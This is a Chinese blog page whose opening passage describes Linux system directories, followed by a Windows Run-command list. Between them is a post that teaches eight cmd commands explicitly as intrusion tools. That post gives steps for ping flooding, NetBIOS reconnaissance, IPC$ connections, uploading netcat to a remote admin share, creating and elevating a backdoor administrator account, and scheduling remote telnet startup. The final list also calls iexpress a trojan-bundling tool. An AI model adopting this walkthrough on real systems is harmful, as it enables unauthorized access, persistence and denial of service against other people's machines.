          軟盤參數(shù)表,用以說明不同的軟盤格式。可用setfdprm 進(jìn)行設(shè)置。更多的信息見s e t f d p r m
          的幫助頁(yè)。
          4. /etc/fstab
          指定啟動(dòng)時(shí)需要自動(dòng)安裝的文件系統(tǒng)列表。也包括用swapon -a啟用的s w a p區(qū)的信息。
          5. /etc/group
          類似/etc/passwd ,但說明的不是用戶信息而是組的信息。包括組的各種數(shù)據(jù)。
          6. /etc/inittab
          init 的配置文件。
          7. /etc/issue
          包括用戶在登錄提示符前的輸出信息。通常包括系統(tǒng)的一段短說明或歡迎信息。具體內(nèi)
          容由系統(tǒng)管理員確定。
          8. /etc/magic
          “f i l e”的配置文件。包含不同文件格式的說明,“f i l e”基于它猜測(cè)文件類型。
          9. /etc/motd
          m o t d是message of the day的縮寫,用戶成功登錄后自動(dòng)輸出。內(nèi)容由系統(tǒng)管理員確定。
          常用于通告信息,如計(jì)劃關(guān)機(jī)時(shí)間的警告等。
          10. /etc/mtab
          當(dāng)前安裝的文件系統(tǒng)列表。由腳本( s c r i t p )初始化,并由mount 命令自動(dòng)更新。當(dāng)需要一
          個(gè)當(dāng)前安裝的文件系統(tǒng)的列表時(shí)使用(例如df 命令)。
          11. /etc/shadow
          在安裝了影子( s h a d o w )口令軟件的系統(tǒng)上的影子口令文件。影子口令文件將/ e t c / p a s s w d
          文件中的加密口令移動(dòng)到/ e t c / s h a d o w中,而后者只對(duì)超級(jí)用戶( r o o t )可讀。這使破譯口令更困
          難,以此增加系統(tǒng)的安全性。
          12. /etc/login.defs
          l o g i n命令的配置文件。
          13. /etc/printcap
          類似/etc/termcap ,但針對(duì)打印機(jī)。語法不同。
          14. /etc/profile 、/ e t c / c s h . l o g i n、/etc/csh.cshrc
          登錄或啟動(dòng)時(shí)b o u r n e或c shells執(zhí)行的文件。這允許系統(tǒng)管理員為所有用戶建立全局缺省環(huán)境。
          15. /etc/securetty
          確認(rèn)安全終端,即哪個(gè)終端允許超級(jí)用戶( r o o t )登錄。一般只列出虛擬控制臺(tái),這樣就不
          可能(至少很困難)通過調(diào)制解調(diào)器( m o d e m )或網(wǎng)絡(luò)闖入系統(tǒng)并得到超級(jí)用戶特權(quán)。
          16. /etc/shells
          列出可以使用的s h e l l。chsh 命令允許用戶在本文件指定范圍內(nèi)改變登錄的s h e l l。提供一
          臺(tái)機(jī)器f t p服務(wù)的服務(wù)進(jìn)程ftpd 檢查用戶s h e l l是否列在/etc/shells 文件中,如果不是,將不允
          許該用戶登錄。
          17. /etc/termcap
          終端性能數(shù)據(jù)庫(kù)。說明不同的終端用什么“轉(zhuǎn)義序列”控制。寫程序時(shí)不直接輸出轉(zhuǎn)義
          序列(這樣只能工作于特定品牌的終端),而是從/etc/termcap 中查找要做的工作的正確序列。
          這樣,多數(shù)的程序可以在多數(shù)終端上運(yùn)行。


          /dev文件系統(tǒng)
          /dev 目錄包括所有設(shè)備的設(shè)備文件。設(shè)備文件用特定的約定命名,這在設(shè)備列表中說明。
          設(shè)備文件在安裝時(shí)由系統(tǒng)產(chǎn)生,以后可以用/dev/makedev 描述。/ d e v / m a k e d e v.local 是
          系統(tǒng)管理員為本地設(shè)備文件(或連接)寫的描述文稿(即如一些非標(biāo)準(zhǔn)設(shè)備驅(qū)動(dòng)不是標(biāo)準(zhǔn)
          makedev 的一部分)。下面簡(jiǎn)要介紹/ d e v下一些常用文件。
          1. /dev/console
          系統(tǒng)控制臺(tái),也就是直接和系統(tǒng)連接的監(jiān)視器。
          2. /dev/hd
          i d e硬盤驅(qū)動(dòng)程序接口。如: / d e v / h d a指的是第一個(gè)硬盤, h a d 1則是指/ d e v / h d a的第一個(gè)
          分區(qū)。如系統(tǒng)中有其他的硬盤,則依次為/ d e v / h d b、/ d e v / h d c、. . . . . .;如有多個(gè)分區(qū)則依次為
          h d a 1、h d a 2 . . . . . .
          3. /dev/sd
          s c s i磁盤驅(qū)動(dòng)程序接口。如有系統(tǒng)有s c s i硬盤,就不會(huì)訪問/ d e v / h a d,而會(huì)訪問/ d e v / s d a。
          4. /dev/fd
          軟驅(qū)設(shè)備驅(qū)動(dòng)程序。如: / d e v / f d 0指系統(tǒng)的第一個(gè)軟盤,也就是通常所說的a:盤,
          / d e v / f d 1指第二個(gè)軟盤,. . . . . .而/ d e v / f d 1 h 1 4 4 0則表示訪問驅(qū)動(dòng)器1中的4 . 5高密盤。
          5. /dev/st
          s c s i磁帶驅(qū)動(dòng)器驅(qū)動(dòng)程序。
          6. /dev/tty
          提供虛擬控制臺(tái)支持。如: / d e v / t t y 1指的是系統(tǒng)的第一個(gè)虛擬控制臺(tái), / d e v / t t y 2則是系統(tǒng)
          的第二個(gè)虛擬控制臺(tái)。
          7. /dev/pty
          提供遠(yuǎn)程登陸偽終端支持。在進(jìn)行te l n e t登錄時(shí)就要用到/ d e v / p t y設(shè)備。
          8. /dev/ttys
          計(jì)算機(jī)串行接口,對(duì)于d o s來說就是“ c o m 1”口。
          9. /dev/cua
          計(jì)算機(jī)串行接口,與調(diào)制解調(diào)器一起使用的設(shè)備。
          10. /dev/null
          “黑洞”,所有寫入該設(shè)備的信息都將消失。例如:當(dāng)想要將屏幕上的輸出信息隱藏起來
          時(shí),只要將輸出信息輸入到/ d e v / n u l l中即可。


          /usr文件系統(tǒng)
          /usr 是個(gè)很重要的目錄,通常這一文件系統(tǒng)很大,因?yàn)樗谐绦虬惭b在這里。/usr 里的
          所有文件一般來自l i n u x發(fā)行版( d i s t r i b u t i o n );本地安裝的程序和其他東西在/usr/local 下,因?yàn)檫@樣可以在升級(jí)新版系統(tǒng)或新發(fā)行版時(shí)無須重新安裝全部程序。/usr 目錄下的許多內(nèi)容是
          可選的,但這些功能會(huì)使用戶使用系統(tǒng)更加有效。/ u s r可容納許多大型的軟件包和它們的配置
          文件。下面列出一些重要的目錄(一些不太重要的目錄被省略了)。
          1. /usr/x11r6
          包含x wi n d o w系統(tǒng)的所有可執(zhí)行程序、配置文件和支持文件。為簡(jiǎn)化x的開發(fā)和安裝,
          x的文件沒有集成到系統(tǒng)中。x wi n d o w系統(tǒng)是一個(gè)功能強(qiáng)大的圖形環(huán)境,提供了大量的圖形
          工具程序。用戶如果對(duì)microsoft wi n d o w s或m a c h i n t o s h比較熟悉的話,就不會(huì)對(duì)x wi n d o w系統(tǒng)感到束手無策了。
          2. /usr/x386
          類似/ u s r / x 11r6 ,但是是專門給x 11 release 5的。
          3. /usr/bin
          集中了幾乎所有用戶命令,是系統(tǒng)的軟件庫(kù)。另有些命令在/bin 或/usr/local/bin 中。
          4. /usr/sbin
          包括了根文件系統(tǒng)不必要的系統(tǒng)管理命令,例如多數(shù)服務(wù)程序。
          5. /usr/man、/ u s r / i n f o、/ u s r / d o c
          這些目錄包含所有手冊(cè)頁(yè)、g n u信息文檔和各種其他文檔文件。每個(gè)聯(lián)機(jī)手冊(cè)的“節(jié)”
          都有兩個(gè)子目錄。例如: / u s r / m a n / m a n 1中包含聯(lián)機(jī)手冊(cè)第一節(jié)的源碼(沒有格式化的原始文
          件),/ u s r / m a n / c a t 1包含第一節(jié)已格式化的內(nèi)容。l聯(lián)機(jī)手冊(cè)分為以下九節(jié):內(nèi)部命令、系統(tǒng)調(diào)
          用、庫(kù)函數(shù)、設(shè)備、文件格式、游戲、宏軟件包、系統(tǒng)管理和核心程序。
          6. /usr/include
          包含了c語言的頭文件,這些文件多以. h結(jié)尾,用來描述c語言程序中用到的數(shù)據(jù)結(jié)構(gòu)、
          子過程和常量。為了保持一致性,這實(shí)際上應(yīng)該放在/usr/lib 下,但習(xí)慣上一直沿用了這個(gè)名
          字。
          7. /usr/lib
          包含了程序或子系統(tǒng)的不變的數(shù)據(jù)文件,包括一些s i t e - w i d e配置文件。名字l i b來源于庫(kù)
          (library); 編程的原始庫(kù)也存在/usr/lib 里。當(dāng)編譯程序時(shí),程序便會(huì)和其中的庫(kù)進(jìn)行連接。也
          有許多程序把配置文件存入其中。
          8. /usr/local
          本地安裝的軟件和其他文件放在這里。這與/ u s r很相似。用戶可能會(huì)在這發(fā)現(xiàn)一些比較大
          的軟件包,如t e x、e m a c s等。


          /var文件系統(tǒng)
          /var 包含系統(tǒng)一般運(yùn)行時(shí)要改變的數(shù)據(jù)。通常這些數(shù)據(jù)所在的目錄的大小是要經(jīng)常變化
          或擴(kuò)充的。原來/ v a r目錄中有些內(nèi)容是在/ u s r中的,但為了保持/ u s r目錄的相對(duì)穩(wěn)定,就把那
          些需要經(jīng)常改變的目錄放到/ v a r中了。每個(gè)系統(tǒng)是特定的,即不通過網(wǎng)絡(luò)與其他計(jì)算機(jī)共享。
          下面列出一些重要的目錄(一些不太重要的目錄省略了)。
          1. /var/catman
          包括了格式化過的幫助( m a n )頁(yè)。幫助頁(yè)的源文件一般存在/ u s r / m a n / m a n中;有些m a n頁(yè)
          可能有預(yù)格式化的版本,存在/ u s r / m a n / c a t中。而其他的m a n頁(yè)在第一次看時(shí)都需要格式化,
          格式化完的版本存在/var/man 中,這樣其他人再看相同的頁(yè)時(shí)就無須等待格式化了。
          (/var/catman 經(jīng)常被清除,就像清除臨時(shí)目錄一樣。)
          2. /var/lib
          存放系統(tǒng)正常運(yùn)行時(shí)要改變的文件。
          3. /var/local
          存放/usr/local 中安裝的程序的可變數(shù)據(jù)(即系統(tǒng)管理員安裝的程序)。注意,如果必要,
          即使本地安裝的程序也會(huì)使用其他/var 目錄,例如/var/lock 。
          4. /var/lock
          鎖定文件。許多程序遵循在/var/lock 中產(chǎn)生一個(gè)鎖定文件的約定,以用來支持他們正在
          使用某個(gè)特定的設(shè)備或文件。其他程序注意到這個(gè)鎖定文件時(shí),就不會(huì)再使用這個(gè)設(shè)備或文
          件。
          5. /var/log
          各種程序的日志( l o g )文件,尤其是login (/var/log/wtmp log紀(jì)錄所有到系統(tǒng)的登錄和注
          銷) 和syslog (/var/log/messages 紀(jì)錄存儲(chǔ)所有核心和系統(tǒng)程序信息)。/var/log 里的文件經(jīng)常不
          確定地增長(zhǎng),應(yīng)該定期清除。
          6. /var/run
          保存在下一次系統(tǒng)引導(dǎo)前有效的關(guān)于系統(tǒng)的信息文件。例如, /var/run/utmp 包含當(dāng)前登
          錄的用戶的信息。
          7. /var/spool
          放置“假脫機(jī)( s p o o l )”程序的目錄,如m a i l、n e w s、打印隊(duì)列和其他隊(duì)列工作的目錄。每
          個(gè)不同的s p o o l在/var/spool 下有自己的子目錄,例如,用戶的郵箱就存放在/var/spool/mail 中。
          8. /var/tmp
          比/tmp 允許更大的或需要存在較長(zhǎng)時(shí)間的臨時(shí)文件。
          注意系統(tǒng)管理員可能不允許/var/tmp 有很舊的文件。


          /proc文件系統(tǒng)
          /proc 文件系統(tǒng)是一個(gè)偽的文件系統(tǒng),就是說它是一個(gè)實(shí)際上不存在的目錄,因而這是一
          個(gè)非常特殊的目錄。它并不存在于某個(gè)磁盤上,而是由核心在內(nèi)存中產(chǎn)生。這個(gè)目錄用于提
          供關(guān)于系統(tǒng)的信息。下面說明一些最重要的文件和目錄(/proc 文件系統(tǒng)在proc man頁(yè)中有更詳
          細(xì)的說明)。
          1. /proc/x
          關(guān)于進(jìn)程x的信息目錄,這一x是這一進(jìn)程的標(biāo)識(shí)號(hào)。每個(gè)進(jìn)程在/proc 下有一個(gè)名為自
          己進(jìn)程號(hào)的目錄。
          2. /proc/cpuinfo
          存放處理器( c p u )的信息,如c p u的類型、制造商、型號(hào)和性能等。
          3. /proc/devices
          當(dāng)前運(yùn)行的核心配置的設(shè)備驅(qū)動(dòng)的列表。
          4. /proc/dma
          顯示當(dāng)前使用的d m a通道。
          5. /proc/filesystems
          核心配置的文件系統(tǒng)信息。
          6. /proc/interrupts
          顯示被占用的中斷信息和占用者的信息,以及被占用的數(shù)量。
          7. /proc/ioports
          當(dāng)前使用的i / o端口。
          8. /proc/kcore
          系統(tǒng)物理內(nèi)存映像。與物理內(nèi)存大小完全一樣,然而實(shí)際上沒有占用這么多內(nèi)存;它僅
          僅是在程序訪問它時(shí)才被創(chuàng)建。(注意:除非你把它拷貝到什么地方,否則/proc 下沒有任何
          東西占用任何磁盤空間。)
          9. /proc/kmsg
          核心輸出的消息。也會(huì)被送到s y s l o g。
          10. /proc/ksyms
          核心符號(hào)表。
          11. /proc/loadavg
          系統(tǒng)“平均負(fù)載”; 3個(gè)沒有意義的指示器指出系統(tǒng)當(dāng)前的工作量。
          12. /proc/meminfo
          各種存儲(chǔ)器使用信息,包括物理內(nèi)存和交換分區(qū)( s w a p )。
          13. /proc/modules
          存放當(dāng)前加載了哪些核心模塊信息。
          14. /proc/net
          網(wǎng)絡(luò)協(xié)議狀態(tài)信息。
          15. /proc/self
          存放到查看/proc 的程序的進(jìn)程目錄的符號(hào)連接。當(dāng)2個(gè)進(jìn)程查看/proc 時(shí),這將會(huì)是不同
          的連接。這主要便于程序得到它自己的進(jìn)程目錄。
          16. /proc/stat
          系統(tǒng)的不同狀態(tài),例如,系統(tǒng)啟動(dòng)后頁(yè)面發(fā)生錯(cuò)誤的次數(shù)。
          17. /proc/uptime
          系統(tǒng)啟動(dòng)的時(shí)間長(zhǎng)度。
          18. /proc/version
          核心版本。
          posted @ 2009-03-11 10:13 moonandsun 閱讀(166) | 評(píng)論 (0)編輯 收藏
          必須掌握的八個(gè)【cmd 命令行】
          一,ping    

            它是用來檢查網(wǎng)絡(luò)是否通暢或者網(wǎng)絡(luò)連接速度的命令。作為一個(gè)生活在網(wǎng)絡(luò)上的管理員或者黑客來說,ping命令是第一個(gè)必須掌握的DOS命令,它所利用的原理是這樣的:網(wǎng)絡(luò)上的機(jī)器都有唯一確定的IP地址,我們給目標(biāo)IP地址發(fā)送一個(gè)數(shù)據(jù)包,對(duì)方就要返回一個(gè)同樣大小的數(shù)據(jù)包,根據(jù)返回的數(shù)據(jù)包我們可以確定目標(biāo)主機(jī)的存在,可以初步判斷目標(biāo)主機(jī)的操作系統(tǒng)等。下面就來看看它的一些常用的操作。先看看幫助吧,在DOS窗口中鍵入:ping /? 回車,。所示的幫助畫面。在此,我們只掌握一些基本的很有用的參數(shù)就可以了(下同)。    

            -t 表示將不間斷向目標(biāo)IP發(fā)送數(shù)據(jù)包,直到我們強(qiáng)迫其停止。試想,如果你使用100M的寬帶接入,而目標(biāo)IP是56K的小貓,那么要不了多久,目標(biāo)IP就因?yàn)槌惺懿涣诉@么多的數(shù)據(jù)而掉線,呵呵,一次攻擊就這么簡(jiǎn)單的實(shí)現(xiàn)了。    

            -l 定義發(fā)送數(shù)據(jù)包的大小,默認(rèn)為32字節(jié),我們利用它可以最大定義到65500字節(jié)。結(jié)合上面介紹的-t參數(shù)一起使用,會(huì)有更好的效果哦。    

            -n 定義向目標(biāo)IP發(fā)送數(shù)據(jù)包的次數(shù),默認(rèn)為3次。如果網(wǎng)絡(luò)速度比較慢,3次對(duì)我們來說也浪費(fèi)了不少時(shí)間,因?yàn)楝F(xiàn)在我們的目的僅僅是判斷目標(biāo)IP是否存在,那么就定義為一次吧。    

            說明一下,如果-t 參數(shù)和 -n參數(shù)一起使用,ping命令就以放在后面的參數(shù)為標(biāo)準(zhǔn),比如"ping IP -t -n 3",雖然使用了-t參數(shù),但并不是一直ping下去,而是只ping 3次。另外,ping命令不一定非得ping IP,也可以直接ping主機(jī)域名,這樣就可以得到主機(jī)的IP。    

            下面我們舉個(gè)例子來說明一下具體用法。    

            這里time=2表示從發(fā)出數(shù)據(jù)包到接受到返回?cái)?shù)據(jù)包所用的時(shí)間是2秒,從這里可以判斷網(wǎng)絡(luò)連接速度的大小 。從TTL的返回值可以初步判斷被ping主機(jī)的操作系統(tǒng),之所以說"初步判斷"是因?yàn)檫@個(gè)值是可以修改的。這里TTL=32表示操作系統(tǒng)可能是win98。 

            (小知識(shí):如果TTL=128,則表示目標(biāo)主機(jī)可能是Win2000;如果TTL=250,則目標(biāo)主機(jī)可能是Unix) 

            至于利用ping命令可以快速查找局域網(wǎng)故障,可以快速搜索最快的QQ服務(wù)器,可以對(duì)別人進(jìn)行ping攻擊……這些就靠大家自己發(fā)揮了。    

          二,nbtstat    

            該命令使用TCP/IP上的NetBIOS顯示協(xié)議統(tǒng)計(jì)和當(dāng)前TCP/IP連接,使用這個(gè)命令你可以得到遠(yuǎn)程主機(jī)的NETBIOS信息,比如用戶名、所屬的工作組、網(wǎng)卡的MAC地址等。在此我們就有必要了解幾個(gè)基本的參數(shù)。    

            -a 使用這個(gè)參數(shù),只要你知道了遠(yuǎn)程主機(jī)的機(jī)器名稱,就可以得到它的NETBIOS信息(下同)。    

            -A 這個(gè)參數(shù)也可以得到遠(yuǎn)程主機(jī)的NETBIOS信息,但需要你知道它的IP。 

            -n 列出本地機(jī)器的NETBIOS信息。    

            當(dāng)?shù)玫搅藢?duì)方的IP或者機(jī)器名的時(shí)候,就可以使用nbtstat命令來進(jìn)一步得到對(duì)方的信息了,這又增加了我們?nèi)肭值谋kU(xiǎn)系數(shù)。    

          三,netstat 

            這是一個(gè)用來查看網(wǎng)絡(luò)狀態(tài)的命令,操作簡(jiǎn)便功能強(qiáng)大。    

            -a 查看本地機(jī)器的所有開放端口,可以有效發(fā)現(xiàn)和預(yù)防木馬,可以知道機(jī)器所開的服務(wù)等信息,如圖4。    

            這里可以看出本地機(jī)器開放有FTP服務(wù)、Telnet服務(wù)、郵件服務(wù)、WEB服務(wù)等。用法:netstat -a IP。 

            -r 列出當(dāng)前的路由信息,告訴我們本地機(jī)器的網(wǎng)關(guān)、子網(wǎng)掩碼等信息。用法:netstat -r IP。 
          四,tracert 

            跟蹤路由信息,使用此命令可以查出數(shù)據(jù)從本地機(jī)器傳輸?shù)侥繕?biāo)主機(jī)所經(jīng)過的所有途徑,這對(duì)我們了解網(wǎng)絡(luò)布局和結(jié)構(gòu)很有幫助。如圖5。    

            這里說明數(shù)據(jù)從本地機(jī)器傳輸?shù)?92.168.0.1的機(jī)器上,中間沒有經(jīng)過任何中轉(zhuǎn),說明這兩臺(tái)機(jī)器是在同一段局域網(wǎng)內(nèi)。用法:tracert IP。    

          五,net    

            這個(gè)命令是網(wǎng)絡(luò)命令中最重要的一個(gè),必須透徹掌握它的每一個(gè)子命令的用法,因?yàn)樗墓δ軐?shí)在是太強(qiáng)大了,這簡(jiǎn)直就是 微軟為我們提供的最好的入侵工具。首先讓我們來看一看它都有那些子命令,鍵入net /?回車如圖6。 

            在這里,我們重點(diǎn)掌握幾個(gè)入侵常用的子命令。    

            net view    

            使用此命令查看遠(yuǎn)程主機(jī)的所以共享資源。命令格式為net view \IP。   

            net use 

            把遠(yuǎn)程主機(jī)的某個(gè)共享資源影射為本地盤符,圖形界面方便使用,呵呵。命令格式為net use x: \IP\sharename。上面一個(gè)表示把192.168.0.5IP的共享名為magic的目錄影射為本地的Z盤。下面表示和192.168.0.7建立IPC$連接(net use \IP\IPC$ "password" /user:"name"),    

            建立了IPC$連接后,呵呵,就可以上傳文件了:copy nc.exe \192.168.0.7\admin$,表示把本地目錄下的nc.exe傳到遠(yuǎn)程主機(jī),結(jié)合后面要介紹到的其他DOS命令就可以實(shí)現(xiàn)入侵了。    

            net start 

            使用它來啟動(dòng)遠(yuǎn)程主機(jī)上的服務(wù)。當(dāng)你和遠(yuǎn)程主機(jī)建立連接后,如果發(fā)現(xiàn)它的什么服務(wù)沒有啟動(dòng),而你又想利用此服務(wù)怎么辦?就使用這個(gè)命令來啟動(dòng)吧。用法:net start servername,如圖9,成功啟動(dòng)了telnet服務(wù)。    

            net stop 

            入侵后發(fā)現(xiàn)遠(yuǎn)程主機(jī)的某個(gè)服務(wù)礙手礙腳,怎么辦?利用這個(gè)命令停掉就ok了,用法和net start同。    

            net user 

            查看和帳戶有關(guān)的情況,包括新建帳戶、刪除帳戶、查看特定帳戶、激活帳戶、帳戶禁用等。這對(duì)我們?nèi)肭质呛苡欣模钪匾模鼮槲覀兛寺籼峁┝饲疤帷fI入不帶參數(shù)的net user,可以查看所有用戶,包括已經(jīng)禁用的。下面分別講解。 

            1,net user abcd 1234 /add,新建一個(gè)用戶名為abcd,密碼為1234的帳戶,默認(rèn)為user組成員。 

            2,net user abcd /del,將用戶名為abcd的用戶刪除。 

            3,net user abcd /active:no,將用戶名為abcd的用戶禁用。 

            4,net user abcd /active:yes,激活用戶名為abcd的用戶。 

            5,net user abcd,查看用戶名為abcd的用戶的情況   

            net localgroup 

            查看所有和用戶組有關(guān)的信息和進(jìn)行相關(guān)操作。鍵入不帶參數(shù)的net localgroup即列出當(dāng)前所有的用戶組。在入侵過程中,我們一般利用它來把某個(gè)帳戶提升為administrator組帳戶,這樣我們利用這個(gè)帳戶就可以控制整個(gè)遠(yuǎn)程主機(jī)了。用法:net localgroup groupname username /add。    

            現(xiàn)在我們把剛才新建的用戶abcd加到administrator組里去了,這時(shí)候abcd用戶已經(jīng)是超級(jí)管理員了,呵呵,你可以再使用net user abcd來查看他的狀態(tài),和圖10進(jìn)行比較就可以看出來。但這樣太明顯了,網(wǎng)管一看用戶情況就能漏出破綻,所以這種方法只能對(duì)付菜鳥網(wǎng)管,但我們還得知道。現(xiàn)在的手段都是利用其他工具和手段克隆一個(gè)讓網(wǎng)管看不出來的超級(jí)管理員,這是后話。有興趣的朋友可以參照《黑客防線》第30期上的《由淺入深解析隆帳戶》一文。    

            net time 

            這個(gè)命令可以查看遠(yuǎn)程主機(jī)當(dāng)前的時(shí)間。如果你的目標(biāo)只是進(jìn)入到遠(yuǎn)程主機(jī)里面,那么也許就用不到這個(gè)命令了。但簡(jiǎn)單的入侵成功了,難道只是看看嗎?我們需要進(jìn)一步滲透。這就連遠(yuǎn)程主機(jī)當(dāng)前的時(shí)間都需要知道,因?yàn)槔脮r(shí)間和其他手段(后面會(huì)講到)可以實(shí)現(xiàn)某個(gè)命令和程序的定時(shí)啟動(dòng),為我們進(jìn)一步入侵打好基礎(chǔ)。用法:net time \IP。    

          六,at 

          這個(gè)命令的作用是安排在特定日期或時(shí)間執(zhí)行某個(gè)特定的命令和程序(知道net time的重要了吧?)。當(dāng)我們知道了遠(yuǎn)程主機(jī)的當(dāng)前時(shí)間,就可以利用此命令讓其在以后的某個(gè)時(shí)間(比如2分鐘后)執(zhí)行某個(gè)程序和命令。用法:at time command \computer。    

            表示在6點(diǎn)55分時(shí),讓名稱為a-01的計(jì)算機(jī)開啟telnet服務(wù)(這里net start telnet即為開啟telnet服務(wù)的命令)。    
          七,ftp    

            大家對(duì)這個(gè)命令應(yīng)該比較熟悉了吧?網(wǎng)絡(luò)上開放的ftp的主機(jī)很多,其中很大一部分是匿名的,也就是說任何人都可以登陸上去。現(xiàn)在如果你掃到了一臺(tái)開放ftp服務(wù)的主機(jī)(一般都是開了21端口的機(jī)器),如果你還不會(huì)使用ftp的命令怎么辦?下面就給出基本的ftp命令使用方法。 

            首先在命令行鍵入ftp回車,出現(xiàn)ftp的提示符,這時(shí)候可以鍵入"help"來查看幫助(任何DOS命令都可以使用此方法查看其幫助)。    

            大家可能看到了,這么多命令該怎么用?其實(shí)也用不到那么多,掌握幾個(gè)基本的就夠了。    

            首先是登陸過程,這就要用到open了,直接在ftp的提示符下輸入"open 主機(jī)IP ftp端口"回車即可,一般端口默認(rèn)都是21,可以不寫。接著就是輸入合法的用戶名和密碼進(jìn)行登陸了,這里以匿名ftp為例介紹。    

            用戶名和密碼都是ftp,密碼是不顯示的。當(dāng)提示**** logged in時(shí),就說明登陸成功。這里因?yàn)槭悄涿顷懀杂脩麸@示為Anonymous。    

            接下來就要介紹具體命令的使用方法了。    

            dir 跟DOS命令一樣,用于查看服務(wù)器的文件,直接敲上dir回車,就可以看到此ftp服務(wù)器上的文件。 

            cd 進(jìn)入某個(gè)文件夾。 

            get 下載文件到本地機(jī)器。 

            put 上傳文件到遠(yuǎn)程服務(wù)器。這就要看遠(yuǎn)程ftp服務(wù)器是否給了你可寫的權(quán)限了,如果可以,呵呵,該怎么 利用就不多說了,大家就自由發(fā)揮去吧。 

            delete 刪除遠(yuǎn)程ftp服務(wù)器上的文件。這也必須保證你有可寫的權(quán)限。 

            bye 退出當(dāng)前連接。 

            quit 同上。 
             

          八,telnet 

            功能強(qiáng)大的遠(yuǎn)程登陸命令,幾乎所有的入侵者都喜歡用它,屢試不爽。為什么?它操作簡(jiǎn)單,如同使用自己的機(jī)器一樣,只要你熟悉DOS命令,在成功以administrator身份連接了遠(yuǎn)程機(jī)器后,就可以用它來干你想干的一切了。下面介紹一下使用方法,首先鍵入telnet回車,再鍵入help查看其幫助信息。    

            然后在提示符下鍵入open IP回車,這時(shí)就出現(xiàn)了登陸窗口,讓你輸入合法的用戶名和密碼,這里輸入任何密碼都是不顯示的。    

            當(dāng)輸入用戶名和密碼都正確后就成功建立了telnet連接,這時(shí)候你就在遠(yuǎn)程主機(jī)上具有了和此用戶一樣的權(quán)限,利用DOS命令就可以實(shí)現(xiàn)你想干的事情了。這里我使用的超級(jí)管理員權(quán)限登陸的。   

            到這里為止,網(wǎng)絡(luò)DOS命令的介紹就告一段落了,這里介紹的目的只是給菜鳥網(wǎng)管一個(gè)印象,讓其知道熟悉和掌握網(wǎng)絡(luò)DOS命令的重要性。其實(shí)和網(wǎng)絡(luò)有關(guān)的DOS命令還遠(yuǎn)不止這些,這里只是拋磚引玉,希望能對(duì)廣大菜鳥網(wǎng)管有所幫助。學(xué)好DOS對(duì)當(dāng)好網(wǎng)管有很大的幫助,特別的熟練掌握了一些網(wǎng)絡(luò)的DOS命令。 

            另外大家應(yīng)該清楚,任何人要想進(jìn)入系統(tǒng),必須得有一個(gè)合法的用戶名和密碼(輸入法漏洞差不多絕跡了吧),哪怕你拿到帳戶的只有一個(gè)很小的權(quán)限,你也可以利用它來達(dá)到最后的目的。所以堅(jiān)決消滅空口令,給自己的帳戶加上一個(gè)強(qiáng)壯的密碼,是最好的防御弱口令入侵的方法。 

            最后,由衷的說一句,培養(yǎng)良好的安全意識(shí)才是最重要的。

          =========================================
          開始→運(yùn)行→命令集錦
          winver---------檢查Windows版本 
          wmimgmt.msc----打開windows管理體系結(jié)構(gòu)(WMI) 
          wupdmgr--------windows更新程序 
          wscript--------windows腳本宿主設(shè)置 
          write----------寫字板 
          winmsd---------系統(tǒng)信息 
          wiaacmgr-------掃描儀和照相機(jī)向?qū)?nbsp;
          winchat--------XP自帶局域網(wǎng)聊天 

          mem.exe--------顯示內(nèi)存使用情況 
          Msconfig.exe---系統(tǒng)配置實(shí)用程序 
          mplayer2-------簡(jiǎn)易widnows media player 
          mspaint--------畫圖板 
          mstsc----------遠(yuǎn)程桌面連接 
          mplayer2-------媒體播放機(jī) 
          magnify--------放大鏡實(shí)用程序 
          mmc------------打開控制臺(tái) 
          mobsync--------同步命令 

          dxdiag---------檢查DirectX信息 
          drwtsn32------ 系統(tǒng)醫(yī)生 
          devmgmt.msc--- 設(shè)備管理器 
          dfrg.msc-------磁盤碎片整理程序 
          diskmgmt.msc---磁盤管理實(shí)用程序 
          dcomcnfg-------打開系統(tǒng)組件服務(wù) 
          ddeshare-------打開DDE共享設(shè)置 
          dvdplay--------DVD播放器 

          net stop messenger-----停止信使服務(wù) 
          net start messenger----開始信使服務(wù) 
          notepad--------打開記事本 
          nslookup-------網(wǎng)絡(luò)管理的工具向?qū)?nbsp;
          ntbackup-------系統(tǒng)備份和還原 
          narrator-------屏幕"講述人" 
          ntmsmgr.msc----移動(dòng)存儲(chǔ)管理器 
          ntmsoprq.msc---移動(dòng)存儲(chǔ)管理員操作請(qǐng)求 
          netstat -an----(TC)命令檢查接口 

          syncapp--------創(chuàng)建一個(gè)公文包 
          sysedit--------系統(tǒng)配置編輯器 
          sigverif-------文件簽名驗(yàn)證程序 
          sndrec32-------錄音機(jī) 
          shrpubw--------創(chuàng)建共享文件夾 
          secpol.msc-----本地安全策略 
          syskey---------系統(tǒng)加密,一旦加密就不能解開,保護(hù)windows xp系統(tǒng)的雙重密碼 
          services.msc---本地服務(wù)設(shè)置 
          Sndvol32-------音量控制程序 
          sfc.exe--------系統(tǒng)文件檢查器 
          sfc /scannow---windows文件保護(hù) 

          tsshutdn-------60秒倒計(jì)時(shí)關(guān)機(jī)命令 
          tourstart------xp簡(jiǎn)介(安裝完成后出現(xiàn)的漫游xp程序) 
          taskmgr--------任務(wù)管理器 

          eventvwr-------事件查看器 
          eudcedit-------造字程序 
          explorer-------打開資源管理器 


          packager-------對(duì)象包裝程序 
          perfmon.msc----計(jì)算機(jī)性能監(jiān)測(cè)程序 
          progman--------程序管理器 

          regedit.exe----注冊(cè)表 
          rsop.msc-------組策略結(jié)果集 
          regedt32-------注冊(cè)表編輯器 
          rononce -p ----15秒關(guān)機(jī) 
          regsvr32 /u *.dll----停止dll文件運(yùn)行 
          regsvr32 /u zipfldr.dll------取消ZIP支持 

          cmd.exe--------CMD命令提示符 
          chkdsk.exe-----Chkdsk磁盤檢查 
          certmgr.msc----證書管理實(shí)用程序 
          calc-----------啟動(dòng)計(jì)算器 
          charmap--------啟動(dòng)字符映射表 
          cliconfg-------SQL SERVER 客戶端網(wǎng)絡(luò)實(shí)用程序 
          Clipbrd--------剪貼板查看器 
          conf-----------啟動(dòng)netmeeting 
          compmgmt.msc---計(jì)算機(jī)管理 
          cleanmgr-------垃圾整理 
          ciadv.msc------索引服務(wù)程序 

          osk------------打開屏幕鍵盤 
          odbcad32-------ODBC數(shù)據(jù)源管理器 
          oobe/msoobe /a----檢查XP是否激活 
          lusrmgr.msc----本機(jī)用戶和組 
          logoff---------注銷命令 


          iexpress-------木馬捆綁工具,系統(tǒng)自帶 

          Nslookup-------IP地址偵測(cè)器 

          fsmgmt.msc-----共享文件夾管理器 

          utilman--------輔助工具管理器 

          gpedit.msc-----組策略
